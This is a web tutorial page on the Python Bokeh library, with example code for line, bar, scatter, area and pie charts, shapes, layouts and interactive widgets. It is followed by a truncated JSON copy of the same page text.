Python Bokeh tutorial – Interactive Data Visualization with Bokeh
|
19 Jan, 2022
Python Bokeh is a Data Visualization library that provides interactive charts and plots. Bokeh renders its plots using HTML and JavaScript that uses modern web browsers for presenting elegant, concise construction of novel graphics with high-level interactivity.
Features of Bokeh:
Flexibility: Bokeh can be used for common plotting requirements and for custom and complex use-cases.
Productivity: Its interaction with other popular Pydata tools (such as Pandas and Jupyter notebook) is very easy.
Interactivity: It creates interactive plots that change with the user interaction.
Powerful: Generation of visualizations for specialized use-cases can be done by adding JavaScript.
Shareable: Visual data are shareable. They can also be rendered in Jupyter notebooks.
Open source: Bokeh is an open-source project.
This tutorial aims at providing insight to Bokeh using well-explained concepts and examples with the help of a huge dataset. So let’s dive deep into the Bokeh and learn all it from basic to advance.
Table Of Content
Installation
Bokeh Interfaces – Basic Concepts of Bokeh
Getting Started
Annotations and Legends Customizing Legends
Customizing Legends
Plotting Different Types of Plots Bar PlotScatter PlotPatch PlotArea PlotPie Chart
Bar Plot
Scatter Plot
Patch Plot
Area Plot
Pie Chart
Creating Different Shapes CircleOvalTriangleRectanglePolygon
Circle
Oval
Triangle
Rectangle
Polygon
Plotting Multiple Plots Vertical LayoutsHorizontal LayoutGrid Layout
Vertical Layouts
Horizontal Layout
Grid Layout
Interactive Data Visualization Configuring Plot ToolsInteractive LegendsAdding Widgets to the Plot
Configuring Plot Tools
Interactive Legends
Adding Widgets to the Plot
Creating Different Types of Glyphs
Visualizing Different Types of Data
More Topics on Bokeh
Bokeh is supported by CPython 3.6 and older with both standard distribution and anaconda distribution. Bokeh package has the following dependencies.
1. Required Dependencies
PyYAML>=3.10
python-dateutil>=2.1
Jinja2>=2.7
numpy>=1.11.3
pillow>=4.0
packaging>=16.8
tornado>=5
typing_extensions >=3.7.4
2. Optional Dependencies
Jupyter
NodeJS
NetworkX
Pandas
psutil
Selenium, GeckoDriver, Firefox
Sphinx
Bokeh can be installed using both conda package manager and pip. To install it using conda type the below command in the terminal.
conda install bokeh
This will install all the dependencies. If all the dependencies are installed then you can install the bokeh from PyPI using pip. Type the below command in the terminal.
pip install bokeh
Refer to the below article to get detailed information about the installation of Bokeh.
Python – Setting up the Bokeh Environment
Bokeh is simple to use as it provides a simple interface to the data scientists who do not want to be distracted by its implementation and also provides a detailed interface to developers and software engineers who may want more control over the Bokeh to create more sophisticated features. To do this Bokeh follows the layered approach.
This class is the Python Library for Bokeh that contains model classes that handle the JSON data created by Bokeh’s JavaScript library (BokehJS). Most of the models are very basic consisting of very few attributes or no methods.
This is the mid-level interface that provides Matplotlib or MATLAB like features for plotting. It deals with the data that is to be plotted and creating the valid axes, grids, and tools. The main class of this interface is the Figure class.
After the installation and learning about the basic concepts of Bokeh let’s create a simple plot.
Example:
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = "Bokeh Line Graph") # the points to be plottedx = [1, 2, 3, 4, 5]y = [5, 4, 3, 2, 1] # plotting the line graphgraph.line(x, y) # displaying the modelshow(graph)
Output:
In the above example, we have created a simple Plot with the Title as Bokeh Line Graph. If you are using Jupyter then the output will be created in a new tab in the browser.
Annotations are the supplemental information such as titles, legends, arrows, etc that can be added to the graphs. In the above example, we have already seen how to add the titles to the graph. In this section, we will see about the legends.
Adding legends to your figures can help to properly describe and define them. Hence, giving more clarity. Legends in Bokeh are simple to implement. They can be basic, automatically grouped, manually mentioned, explicitly indexed, and also interactive.
Example:
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title="Bokeh Line Graph") # the points to be plottedx = [1, 2, 3, 4, 5]y = [5, 4, 3, 2, 1] # plotting the 1st line graphgraph.line(x, x, legend_label="Line 1") # plotting the 2nd line graph with a# different colorgraph.line(y, x, legend_label="Line 2", line_color="green") # displaying the modelshow(graph)
Output:
In the above example, we have plotted two different lines with a legend that simply states that which is line 1 and which is line 2. The color in the legends is also differentiated by the color.
Refer to the below articles to get detailed information about the annotations and legends
Bokeh – Annotations and Legends
Legends in Bokeh can be customized using the following properties.
Example:
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title="Bokeh Line Graph") # the points to be plottedx = [1, 2, 3, 4, 5]y = [5, 4, 3, 2, 1] # plotting the 1st line graphgraph.line(x, x, legend_label="Line 1") # plotting the 2nd line graph with a# different colorgraph.line(y, x, legend_label="Line 2", line_color="green") graph.legend.title = "Title of the legend"graph.legend.location ="top_left"graph.legend.label_text_font_size = "17pt" # displaying the modelshow(graph)
Output:
Glyphs in Bokeh terminology means the basic building blocks of the Bokeh plots such as lines, rectangles, squares, etc. Bokeh plots are created using the bokeh.plotting interface which uses a default set of tools and styles.
Line charts are used to represent the relation between two data X and Y on a different axis. A line plot can be created using the line() method of the plotting module.
Syntax:
line(parameters)
Example:
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = "Bokeh Line Graph") # the points to be plottedx = [1, 2, 3, 4, 5]y = [5, 4, 3, 2, 1] # plotting the line graphgraph.line(x, y) # displaying the modelshow(graph)
Output:
Refer to the below articles to get detailed information about the line plots.
Python Bokeh – Plotting a Line Graph
Python Bokeh – Plotting Multiple Lines on a Graph
Bar plot or Bar chart is a graph that represents the category of data with rectangular bars with lengths and heights that is proportional to the values which they represent. It can be of two types horizontal bars and vertical bars. Each can be created using the hbar() and vbar() functions of the plotting interface respectively.
Syntax:
hbar(parameters)
vbar(parameters)
Example 1: Creating horizontal bars.
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = "Bokeh Bar Graph") # the points to be plottedx = [1, 2, 3, 4, 5]y = [1, 2, 3, 4, 5] # height / thickness of the plotheight = 0.5 # plotting the bar graphgraph.hbar(x, right = y, height = height) # displaying the modelshow(graph)
Output:
Example 2: Creating the vertical bars
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = "Bokeh Bar Graph") # the points to be plottedx = [1, 2, 3, 4, 5]y = [1, 2, 3, 4, 5] # height / thickness of the plotwidth = 0.5 # plotting the bar graphgraph.vbar(x, top = y, width = width) # displaying the modelshow(graph)
Output:
Refer to the below articles to get detailed information about the bar charts.
Python Bokeh – Plotting Horizontal Bar Graphs
Python Bokeh – Plotting Vertical Bar Graphs
A scatter plot is a set of dotted points to represent individual pieces of data in the horizontal and vertical axis. A graph in which the values of two variables are plotted along X-axis and Y-axis, the pattern of the resulting points reveals a correlation between them. It can be plotted using the scatter() method of the plotting module.
Syntax:
scatter(parameters)
Example:
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, showfrom bokeh.palettes import magmaimport random # instantiating the figure objectgraph = figure(title = "Bokeh Scatter Graph") # points to be plottedx = [n for n in range(256)]y = [random.random() + 1 for n in range(256)] # plotting the graphgraph.scatter(x, y) # displaying the modelshow(graph)
Output:
Refer to the below articles to get detailed information about the scatter plots.
Python Bokeh – Plotting a Scatter Plot on a Graph
Patch Plot shades a region of area to show a group having same properties. It can be created using the patch() method of the plotting module.
Syntax:
patch(parameters)
Example:
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, showfrom bokeh.palettes import magmaimport random # instantiating the figure objectgraph = figure(title = "Bokeh Patch Plo") # points to be plottedx = [n for n in range(256)]y = [random.random() + 1 for n in range(256)] # plotting the graphgraph.patch(x, y) # displaying the modelshow(graph)
Output:
Refer to the below articles to get detailed information about the Patch Plot.
Python Bokeh – Plotting Patches on a Graph
Area plots are defined as the filled regions between two series that share a common areas. Bokeh Figure class has two methods which are – varea(), harea()
Syntax:
varea(x, y1, y2, **kwargs)
harea(x1, x2, y, **kwargs)
Example 1: Creating vertical area plot
Python
# Implementation of bokeh functionimport numpy as npfrom bokeh.plotting import figure, output_file, show x = [1, 2, 3, 4, 5]y1 = [2, 4, 5, 2, 4]y2 = [1, 2, 2, 3, 6] p = figure(plot_width=300, plot_height=300) # area plotp.varea(x=x, y1=y1, y2=y2,fill_color="green") show(p)
Output:
Example 2: Creating horizontal area plot
Python3
# Implementation of bokeh function import numpy as npfrom bokeh.plotting import figure, output_file, show y = [1, 2, 3, 4, 5]x1 = [2, 4, 5, 2, 4]x2 = [1, 2, 2, 3, 6] p = figure(plot_width=300, plot_height=300) # area plotp.harea(x1=x1, x2=x2, y=y,fill_color="green") show(p)
Output:
Refer to the below articles to get detailed information about the area charts
Make an area plot in Python using Bokeh
Bokeh Does not provide a direct method to plot the Pie Chart. It can be created using the wedge() method. In the wedge() function, the primary parameters are the x and y coordinates of the wedge, the radius, the start_angle and the end_angle of the wedge. In order to plot the wedges in such a way that they look like a pie chart, the x, y, and radius parameters of all the wedges will be the same. We will only adjust the start_angle and the end_angle.
Syntax:
wedge(parameters)
Example:
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = "Bokeh Wedge Graph") # the points to be plottedx = 0y = 0 # radius of the wedgeradius = 15 # start angle of the wedgestart_angle = 1 # end angle of the wedgeend_angle = 2 # plotting the graphgraph.wedge(x, y, radius = radius, start_angle = start_angle, end_angle = end_angle) # displaying the modelshow(graph)
Output:
Refer to the below articles to get detailed information about the pie charts.
Python Bokeh – Plotting Wedges on a Graph
Python Bokeh – Making a Pie Chart
The Figure class in Bokeh allows us create vectorised glyphs of different shapes such as circle, rectangle, oval, polygon, etc. Let’s discuss them in detail.
Bokeh Figure class following methods to draw circle glyphs which are given below:
circle() method is a used to add a circle glyph to the figure and needs x and y coordinates of its center.
circle_cross() method is a used to add a circle glyph with a ‘+’ cross through the center to the figure and needs x and y coordinates of its center.
circle_x() method is a used to add a circle glyph with a ‘X’ cross through the center. to the figure and needs x and y coordinates of its center.
Example:
Python3
import numpy as npfrom bokeh.plotting import figure, output_file, show # creating the figure objectplot = figure(plot_width = 300, plot_height = 300) plot.circle(x = [1, 2, 3], y = [3, 7, 5], size = 20) show(plot)
Output:
Refer to the below articles to get detailed information about the circle glyphs
Make an Circle Glyphs in Python using Bokeh
oval() method can be used to plot ovals on the graph.
Syntax:
oval(parameters)
Example:
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = "Bokeh Oval Graph") # the points to be plottedx = [1, 2, 3, 4, 5]y = [i * 2 for i in x] # plotting the graphgraph.oval(x, y, height = 0.5, width = 1) # displaying the modelshow(graph)
Output:
Refer o the below articles to get detailed information about the oval glyphs.
Python Bokeh – Plotting Ovals on a Graph
Triangle can be created using the triangle() method.
Syntax:
triangle(parameters)
Example:
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = "Bokeh Triangle Graph") # the points to be plottedx = 1y = 1 # plotting the graphgraph.triangle(x, y, size = 150) # displaying the modelshow(graph)
Output:
Refer to the below article to get detailed information about the triangles.
Python Bokeh – Plotting Triangles on a Graph
Just like circles and ovals rectangle can also be plotted in Bokeh. It can be plotted using the rect() method.
Syntax:
rect(parameters)
Example:
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = "Bokeh Rectangle Graph", match_aspect = True) # the points to be plottedx = 0y = 0width = 10height = 5 # plotting the graphgraph.rect(x, y, width, height) # displaying the modelshow(graph)
Output:
Bokeh can also be used to plot multiple polygons on a graph. Plotting multiple polygons on a graph can be done using the multi_polygons() method of the plotting module.
Syntax:
multi_polygons(parameters)
Example:
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = "Bokeh Multiple Polygons Graph") # the points to be plottedxs = [[[[1, 1, 3, 4]]]]ys = [[[[1, 3, 2 ,1]]]] # plotting the graphgraph.multi_polygons(xs, ys) # displaying the modelshow(graph)
Output:
Refer to the below articles to get detailed information about the polygon glyphs.
Python Bokeh – Plotting Multiple Polygons on a Graph
There are several layouts provided by the Bokeh in order to create Multiple Plots. These layouts are:
Vertical Layout
Horizontal Layout
Grid Layout
Vertical Layout set all the plots in the vertical fashion and can be created using the column() method.
Python3
from bokeh.io import output_file, showfrom bokeh.layouts import columnfrom bokeh.plotting import figure x = [1, 2, 3, 4, 5, 6]y0 = xy1 = [i * 2 for i in x]y2 = [i ** 2 for i in x] # create a new plots1 = figure(width=200, plot_height=200)s1.circle(x, y0, size=10, alpha=0.5) # create another ones2 = figure(width=200, height=200)s2.triangle(x, y1, size=10, alpha=0.5) # create and anothers3 = figure(width=200, height=200)s3.square(x, y2, size=10, alpha=0.5) # put all the plots in a VBoxp = column(s1, s2, s3) # show the resultsshow(p)
Output:
Horizontal Layout set all the plots in the horizontal fashion. It can be created using the row() method.
Example:
Python3
from bokeh.io import output_file, showfrom bokeh.layouts import rowfrom bokeh.plotting import figure x = [1, 2, 3, 4, 5, 6]y0 = xy1 = [i * 2 for i in x]y2 = [i ** 2 for i in x] # create a new plots1 = figure(width=200, plot_height=200)s1.circle(x, y0, size=10, alpha=0.5) # create another ones2 = figure(width=200, height=200)s2.triangle(x, y1, size=10, alpha=0.5) # create and anothers3 = figure(width=200, height=200)s3.square(x, y2, size=10, alpha=0.5) # put all the plots in a VBoxp = row(s1, s2, s3) # show the resultsshow(p)
Output:
gridplot() method can be used to arrange all the plots in the grid fashion. we can also pass None to leave a space empty for a plot.
Example:
Python3
from bokeh.io import output_file, showfrom bokeh.layouts import gridplotfrom bokeh.plotting import figure x = [1, 2, 3, 4, 5, 6]y0 = xy1 = [i * 2 for i in x]y2 = [i ** 2 for i in x] # create a new plots1 = figure()s1.circle(x, y0, size=10, alpha=0.5) # create another ones2 = figure()s2.triangle(x, y1, size=10, alpha=0.5) # create and anothers3 = figure()s3.square(x, y2, size=10, alpha=0.5) # put all the plots in a gridp = gridplot([[s1, None], [s2, s3]], plot_width=200, plot_height=200) # show the resultsshow(p)
Output:
One of the key feature of Bokeh which differentiate it from other visualizing libraries is adding interaction to the Plot. Let’s see various interactions that can be added to the plot.
In all the above graphs you must have noticed a toolbar that appears mostly at the right of the plot. Bokeh provides us the methods to handle these tools. Tools can be classified into four categories.
Gestures: These tools handle the gestures such as pan movement. There are three types of gestures:Pan/Drag ToolsClick/Tap ToolsScroll/Pinch Tools
Pan/Drag Tools
Click/Tap Tools
Scroll/Pinch Tools
Actions: These tools handle when a button is pressed.
Inspectors: These tools report information or annotate the graph such as HoverTool.
Edit Tools: These are multi gestures tools that can add, delete glyphs from the graph.
We can specify the position of the toolbar according to our own needs. It can be done by passing the toolbar_location parameter to the figure() method. The possible value to this parameter is –
“above”
“below”
“left”
“right”
Example:
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = "Bokeh ToolBar", toolbar_location="below") # the points to be plottedx = [1, 2, 3, 4, 5]y = [1, 2, 3, 4, 5] # height / thickness of the plotwidth = 0.5 # plotting the scatter graphgraph.scatter(x, y) # displaying the modelshow(graph)
Output:
In the section annotations and legends we have seen the list of all the parameters of the legends, however, we have not discussed the click_policy parameter yet. This property makes the legend interactive. There are two types of interactivity –
Hiding: Hides the Glyphs.
Muting: Hiding the glyph makes it vanish completely, on the other hand, muting the glyph just de-emphasizes the glyph based on the parameters.
Example 1: Hiding the legend
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, show # file to save the modeloutput_file("gfg.html") # instantiating the figure objectgraph = figure(title = "Bokeh Hiding Glyphs") # plotting the graphgraph.vbar(x = 1, top = 5, width = 1, color = "violet", legend_label = "Violet Bar")graph.vbar(x = 2, top = 5, width = 1, color = "green", legend_label = "Green Bar")graph.vbar(x = 3, top = 5, width = 1, color = "yellow", legend_label = "Yellow Bar")graph.vbar(x = 4, top = 5, width = 1, color = "red", legend_label = "Red Bar") # enable hiding of the glyphsgraph.legend.click_policy = "hide" # displaying the modelshow(graph)
Output:
Example 2: Muting the legend
Python3
# importing the modulesfrom bokeh.plotting import figure, output_file, show # file to save the modeloutput_file("gfg.html") # instantiating the figure objectgraph = figure(title = "Bokeh Hiding Glyphs") # plotting the graphgraph.vbar(x = 1, top = 5, width = 1, color = "violet", legend_label = "Violet Bar", muted_alpha=0.2)graph.vbar(x = 2, top = 5, width = 1, color = "green", legend_label = "Green Bar", muted_alpha=0.2)graph.vbar(x = 3, top = 5, width = 1, color = "yellow", legend_label = "Yellow Bar", muted_alpha=0.2)graph.vbar(x = 4, top = 5, width = 1, color = "red", legend_label = "Red Bar", muted_alpha=0.2) # enable hiding of the glyphsgraph.legend.click_policy = "mute" # displaying the modelshow(graph)
Output:
Bokeh provides GUI features similar to HTML forms like buttons, slider, checkbox, etc. These provide an interactive interface to the plot that allows to change the parameters of the plot, modifying plot data, etc. Let’s see how to use and add some commonly used widgets.
Buttons: This widget adds a simple button widget to the plot. We have to pass a custom JavaScript function to the CustomJS() method of the models class.
Syntax:
Button(label, icon, callback)
Example:
Python3
from bokeh.io import showfrom bokeh.models import Button, CustomJS button = Button(label="GFG")button.js_on_click(CustomJS( code="console.log('button: click!', this.toString())")) show(button)
Output:
CheckboxGroup: Adds a standard check box to the plot. Similarly to buttons we have to pass the custom JavaScript function to the CustomJS() method of the models class.
Example:
Python3
from bokeh.io import showfrom bokeh.models import CheckboxGroup, CustomJS L = ["First", "Second", "Third"] # the active parameter sets checks the selected value# by defaultcheckbox_group = CheckboxGroup(labels=L, active=[0, 2]) checkbox_group.js_on_click(CustomJS(code=""" console.log('checkbox_group: active=' + this.active, this.toString())""")) show(checkbox_group)
Output:
RadioGroup: Adds a simple radio button and accepts a custom JavaScript function.
Syntax:
RadioGroup(labels, active)
Example:
Python3
from bokeh.io import showfrom bokeh.models import RadioGroup, CustomJS L = ["First", "Second", "Third"] # the active parameter sets checks the selected value# by defaultradio_group = RadioGroup(labels=L, active=1) radio_group.js_on_click(CustomJS(code=""" console.log('radio_group: active=' + this.active, this.toString())""")) show(radio_group)
Output:
Sliders: Adds a slider to the plot. It also needs a custom JavaScript function.
Syntax:
Slider(start, end, step, value)
Example:
Python3
from bokeh.io import showfrom bokeh.models import CustomJS, Slider slider = Slider(start=1, end=20, value=1, step=2, title="Slider") slider.js_on_change("value", CustomJS(code=""" console.log('slider: value=' + this.value, this.toString())""")) show(slider)
Output:
DropDown: Adds a dropdown to the plot and like every other widget it also needs a custom JavaScript function as callback.
Example:
Python3
from bokeh.io import showfrom bokeh.models import CustomJS, Dropdown menu = [("First", "First"), ("Second", "Second"), ("Third", "Third")] dropdown = Dropdown(label="Dropdown Menu", button_type="success", menu=menu) dropdown.js_on_event("menu_item_click", CustomJS( code="console.log('dropdown: ' + this.item, this.toString())")) show(dropdown)
Output:
Tab Widget: Tab Widget adds tabs and each tab show a different plot.
Example:
Python3
from bokeh.plotting import figure, output_file, showfrom bokeh.models import Panel, Tabsimport numpy as npimport math fig1 = figure(plot_width=300, plot_height=300) x = [1, 2, 3, 4, 5]y = [5, 4, 3, 2, 1] fig1.line(x, y, line_color='green')tab1 = Panel(child=fig1, title="Tab 1") fig2 = figure(plot_width=300, plot_height=300) fig2.line(y, x, line_color='red')tab2 = Panel(child=fig2, title="Tab 2") all_tabs = Tabs(tabs=[tab1, tab2]) show(all_tabs)
Output:
Diamond Glyph
Dash Glyph
Cross Glyph
Diamond Glyph
Diamond Cross Glyph
Diamond Dot Glyph
Ray Glyph
Triangle Pins Glyph
Triangle with Dots Glyph
Inverted Triangle Glyph
Plus Glyph
Quadrilateral Glyph
Y Glyph
X Glyph
Oval Glyph
Hexagon Glyph
Hexagon Tiles Glyph
Hexagon Dots Glyph
Square with Cross Glyph
Square with Dots Glyph
Square with X’s Glyph
Ellipse glyph
Annulus Glyph
Bezier Glyph
Asterisk Glyph
AnnularWedge Glyph
Step Glyph
Python Bokeh – Visualizing the Iris Dataset
Python Bokeh – Visualizing Stock Data
Interactive visualization of data using Bokeh
Python Bokeh – Colors Class
How to use Color Palettes in Python-Bokeh?
Python Bokeh – Plotting Quadratic Curves on a Graph
Python Bokeh – Plotting Line Segments on a Graph
Python Bokeh – Plotting Multiple Lines on a Graph
Python Bokeh – Plotting glyphs over a Google Map
Python Bokeh – Plot for all Types of Google Maps ( roadmap, satellite, hybrid, terrain)
adnanirshad158
as5853535
kk9826225
germanshephered48
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Read JSON file using Python
Adding new column to existing DataFrame in Pandas
Python map() function
How to get column names in Pandas dataframe
Python Dictionary
Different ways to create Pandas Dataframe
Enumerate() in Python
Taking input in Python
Read a file line by line in Python
Python String | replace()
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n19 Jan, 2022"
},
{
"code": null,
"e": 292,
"s": 28,
"text": "Python Bokeh is a Data Visualization library that provides interactive charts and plots. Bokeh renders its plots using HTML and JavaScript that uses modern web browsers for presenting elegant, concise construction of novel graphics with high-level interactivity. "
},
{
"code": null,
"e": 311,
"s": 292,
"text": "Features of Bokeh:"
},
{
"code": null,
"e": 413,
"s": 311,
"text": "Flexibility: Bokeh can be used for common plotting requirements and for custom and complex use-cases."
},
{
"code": null,
"e": 527,
"s": 413,
"text": "Productivity: Its interaction with other popular Pydata tools (such as Pandas and Jupyter notebook) is very easy."
},
{
"code": null,
"e": 610,
"s": 527,
"text": "Interactivity: It creates interactive plots that change with the user interaction."
},
{
"code": null,
"e": 709,
"s": 610,
"text": "Powerful: Generation of visualizations for specialized use-cases can be done by adding JavaScript."
},
{
"code": null,
"e": 795,
"s": 709,
"text": "Shareable: Visual data are shareable. They can also be rendered in Jupyter notebooks."
},
{
"code": null,
"e": 841,
"s": 795,
"text": "Open source: Bokeh is an open-source project."
},
{
"code": null,
"e": 1040,
"s": 841,
"text": "This tutorial aims at providing insight to Bokeh using well-explained concepts and examples with the help of a huge dataset. So let’s dive deep into the Bokeh and learn all it from basic to advance."
},
{
"code": null,
"e": 1058,
"s": 1040,
"text": "Table Of Content "
},
{
"code": null,
"e": 1071,
"s": 1058,
"text": "Installation"
},
{
"code": null,
"e": 1114,
"s": 1071,
"text": "Bokeh Interfaces – Basic Concepts of Bokeh"
},
{
"code": null,
"e": 1130,
"s": 1114,
"text": "Getting Started"
},
{
"code": null,
"e": 1176,
"s": 1130,
"text": "Annotations and Legends Customizing Legends "
},
{
"code": null,
"e": 1198,
"s": 1176,
"text": "Customizing Legends "
},
{
"code": null,
"e": 1281,
"s": 1198,
"text": "Plotting Different Types of Plots Bar PlotScatter PlotPatch PlotArea PlotPie Chart"
},
{
"code": null,
"e": 1290,
"s": 1281,
"text": "Bar Plot"
},
{
"code": null,
"e": 1303,
"s": 1290,
"text": "Scatter Plot"
},
{
"code": null,
"e": 1314,
"s": 1303,
"text": "Patch Plot"
},
{
"code": null,
"e": 1324,
"s": 1314,
"text": "Area Plot"
},
{
"code": null,
"e": 1334,
"s": 1324,
"text": "Pie Chart"
},
{
"code": null,
"e": 1395,
"s": 1334,
"text": "Creating Different Shapes CircleOvalTriangleRectanglePolygon"
},
{
"code": null,
"e": 1402,
"s": 1395,
"text": "Circle"
},
{
"code": null,
"e": 1407,
"s": 1402,
"text": "Oval"
},
{
"code": null,
"e": 1416,
"s": 1407,
"text": "Triangle"
},
{
"code": null,
"e": 1426,
"s": 1416,
"text": "Rectangle"
},
{
"code": null,
"e": 1434,
"s": 1426,
"text": "Polygon"
},
{
"code": null,
"e": 1503,
"s": 1434,
"text": "Plotting Multiple Plots Vertical LayoutsHorizontal LayoutGrid Layout"
},
{
"code": null,
"e": 1520,
"s": 1503,
"text": "Vertical Layouts"
},
{
"code": null,
"e": 1538,
"s": 1520,
"text": "Horizontal Layout"
},
{
"code": null,
"e": 1550,
"s": 1538,
"text": "Grid Layout"
},
{
"code": null,
"e": 1649,
"s": 1550,
"text": "Interactive Data Visualization Configuring Plot ToolsInteractive LegendsAdding Widgets to the Plot"
},
{
"code": null,
"e": 1672,
"s": 1649,
"text": "Configuring Plot Tools"
},
{
"code": null,
"e": 1692,
"s": 1672,
"text": "Interactive Legends"
},
{
"code": null,
"e": 1719,
"s": 1692,
"text": "Adding Widgets to the Plot"
},
{
"code": null,
"e": 1754,
"s": 1719,
"text": "Creating Different Types of Glyphs"
},
{
"code": null,
"e": 1790,
"s": 1754,
"text": "Visualizing Different Types of Data"
},
{
"code": null,
"e": 1811,
"s": 1790,
"text": "More Topics on Bokeh"
},
{
"code": null,
"e": 1960,
"s": 1811,
"text": "Bokeh is supported by CPython 3.6 and older with both standard distribution and anaconda distribution. Bokeh package has the following dependencies."
},
{
"code": null,
"e": 1985,
"s": 1960,
"text": "1. Required Dependencies"
},
{
"code": null,
"e": 1998,
"s": 1985,
"text": "PyYAML>=3.10"
},
{
"code": null,
"e": 2019,
"s": 1998,
"text": "python-dateutil>=2.1"
},
{
"code": null,
"e": 2031,
"s": 2019,
"text": "Jinja2>=2.7"
},
{
"code": null,
"e": 2045,
"s": 2031,
"text": "numpy>=1.11.3"
},
{
"code": null,
"e": 2057,
"s": 2045,
"text": "pillow>=4.0"
},
{
"code": null,
"e": 2073,
"s": 2057,
"text": "packaging>=16.8"
},
{
"code": null,
"e": 2084,
"s": 2073,
"text": "tornado>=5"
},
{
"code": null,
"e": 2110,
"s": 2084,
"text": "typing_extensions >=3.7.4"
},
{
"code": null,
"e": 2135,
"s": 2110,
"text": "2. Optional Dependencies"
},
{
"code": null,
"e": 2143,
"s": 2135,
"text": "Jupyter"
},
{
"code": null,
"e": 2150,
"s": 2143,
"text": "NodeJS"
},
{
"code": null,
"e": 2159,
"s": 2150,
"text": "NetworkX"
},
{
"code": null,
"e": 2166,
"s": 2159,
"text": "Pandas"
},
{
"code": null,
"e": 2173,
"s": 2166,
"text": "psutil"
},
{
"code": null,
"e": 2204,
"s": 2173,
"text": "Selenium, GeckoDriver, Firefox"
},
{
"code": null,
"e": 2211,
"s": 2204,
"text": "Sphinx"
},
{
"code": null,
"e": 2342,
"s": 2211,
"text": "Bokeh can be installed using both conda package manager and pip. To install it using conda type the below command in the terminal."
},
{
"code": null,
"e": 2362,
"s": 2342,
"text": "conda install bokeh"
},
{
"code": null,
"e": 2532,
"s": 2362,
"text": "This will install all the dependencies. If all the dependencies are installed then you can install the bokeh from PyPI using pip. Type the below command in the terminal."
},
{
"code": null,
"e": 2550,
"s": 2532,
"text": "pip install bokeh"
},
{
"code": null,
"e": 2638,
"s": 2550,
"text": "Refer to the below article to get detailed information about the installation of Bokeh."
},
{
"code": null,
"e": 2680,
"s": 2638,
"text": "Python – Setting up the Bokeh Environment"
},
{
"code": null,
"e": 3019,
"s": 2680,
"text": "Bokeh is simple to use as it provides a simple interface to the data scientists who do not want to be distracted by its implementation and also provides a detailed interface to developers and software engineers who may want more control over the Bokeh to create more sophisticated features. To do this Bokeh follows the layered approach. "
},
{
"code": null,
"e": 3248,
"s": 3019,
"text": "This class is the Python Library for Bokeh that contains model classes that handle the JSON data created by Bokeh’s JavaScript library (BokehJS). Most of the models are very basic consisting of very few attributes or no methods."
},
{
"code": null,
"e": 3489,
"s": 3248,
"text": "This is the mid-level interface that provides Matplotlib or MATLAB like features for plotting. It deals with the data that is to be plotted and creating the valid axes, grids, and tools. The main class of this interface is the Figure class."
},
{
"code": null,
"e": 3587,
"s": 3489,
"text": "After the installation and learning about the basic concepts of Bokeh let’s create a simple plot."
},
{
"code": null,
"e": 3596,
"s": 3587,
"text": "Example:"
},
{
"code": null,
"e": 3604,
"s": 3596,
"text": "Python3"
},
{
"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title = \"Bokeh Line Graph\") # the points to be plottedx = [1, 2, 3, 4, 5]y = [5, 4, 3, 2, 1] # plotting the line graphgraph.line(x, y) # displaying the modelshow(graph)",
"e": 3897,
"s": 3604,
"text": null
},
{
"code": null,
"e": 3905,
"s": 3897,
"text": "Output:"
},
{
"code": null,
"e": 4079,
"s": 3905,
"text": "In the above example, we have created a simple Plot with the Title as Bokeh Line Graph. If you are using Jupyter then the output will be created in a new tab in the browser."
},
{
"code": null,
"e": 4321,
"s": 4079,
"text": "Annotations are the supplemental information such as titles, legends, arrows, etc that can be added to the graphs. In the above example, we have already seen how to add the titles to the graph. In this section, we will see about the legends."
},
{
"code": null,
"e": 4573,
"s": 4321,
"text": "Adding legends to your figures can help to properly describe and define them. Hence, giving more clarity. Legends in Bokeh are simple to implement. They can be basic, automatically grouped, manually mentioned, explicitly indexed, and also interactive."
},
{
"code": null,
"e": 4582,
"s": 4573,
"text": "Example:"
},
{
"code": null,
"e": 4590,
"s": 4582,
"text": "Python3"
},
{
"code": "# importing the modulesfrom bokeh.plotting import figure, output_file, show # instantiating the figure objectgraph = figure(title=\"Bokeh Line Graph\") # the points to be plottedx = [1, 2, 3, 4, 5]y = [5, 4, 3, 2, 1] # plotting the 1st line graphgraph.line(x, x, legend_label=\"Line 1\") # plotting the 2nd line graph with a# different colorgraph.line(y, x, legend_label=\"Line 2\", line_color=\"green\") # displaying the modelshow(graph)",
"e": 5031,
"s": 4590,
"text": null
},
{
"code": null,
"e": 5039,
"s": 5031,
"text": "Output:"
},
{
"code": null,
"e": 5234,
"s": 5039,
"text": "In the above example, we have plotted two different lines with a legend that simply states that which is line 1 and which is line 2. The color in the legends is also differentiated by the color."
},
{
"code": null,
"e": 5324,
"s": 5234,
"text": "Refer to the below articles to get detailed information about the annotations and legends"
},
{
"code": null,
"e": 5356,
"s": 5324,
"text": "Bokeh – Annotations and Legends"
},
{
"code": null,
"e": 5423,
"s": 5356,
"text": "Legends in Bokeh can be customized using the following properties."
},
{
"code": null,
"e": 5432,
"s": 5423,
"text": "Example:"
},
{
"code": null,
"e": 5440,
"s": 5432,
"text": "Python3"
},
{
